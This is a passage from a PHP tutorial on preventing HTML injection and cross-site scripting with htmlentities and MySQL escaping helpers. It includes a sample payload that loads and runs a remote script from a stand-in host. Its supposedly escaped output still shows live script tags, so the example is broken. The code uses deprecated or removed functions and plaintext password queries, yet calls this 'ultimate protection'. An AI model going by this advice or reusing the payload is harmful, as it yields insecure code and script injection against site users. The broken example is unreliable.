Preventing HTML Injection

There’s another type of injection you need to concern yourself about—not for the safety of your own websites, but for your users’ privacy and protection. That’s Cross Site Scripting, also referred to as XSS.

This occurs when you allow HTML, or more often JavaScript code, to be input by a user and then displayed back by your website. One place this is common is in a comment form. What most often happens is that a malicious user will try to write code that steals cookies from your site’s users, allowing him or her to discover username and password pairs or other information. Even worse, the malicious user might launch an attack to download a Trojan onto a user’s computer.
 
But preventing this is as simple as calling the htmlentities function, which strips out all HTML markup codes and replaces them with a form that displays the characters, but does not allow a browser to act on them. For example, consider the following HTML:

<script src='http://x.com/hack.js'> </script><script>hack();</script>

This code loads in a JavaScript program and then executes malicious functions. But if it is first passed through htmlentities, it will be turned into the following, totally harmless string:

<script src='http://x.com/hack.js'>;
</script>
<script>
hack()
</script>;

Therefore, if you are ever going to display anything that your users enter, either immediately or after first storing it in database, you need to first sanitize it with htmlentities. To do this, I recommend you create a new function, like the first one in following Example , which can sanitize for both SQL and XSS injections.

<?php
function mysql_entities_fix_string($string)
{
	return htmlentities(mysql_fix_string($string));
}
function mysql_fix_string($string)
{
	if (get_magic_quotes_gpc()) $string = stripslashes($string);
	return mysql_real_escape_string($string);
}
?>

The mysql_entities_fix_string function first calls mysql_fix_string and then passes the result through htmlentities before returning the fully sanitized string. following Example shows your new “ultimate protection”

<?php
$user = mysql_entities_fix_string($_POST['user']);
$pass = mysql_entities_fix_string($_POST['pass']);
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";
function mysql_entities_fix_string($string)
{
	return htmlentities(mysql_fix_string($string));
}
function mysql_fix_string($string)
{
	if (get_magic_quotes_gpc()) $string = stripslashes($string);
	return mysql_real_escape_string($string);
}
?>

Now that you have learned how to integrate PHP with MySQL and avoid malicious user input.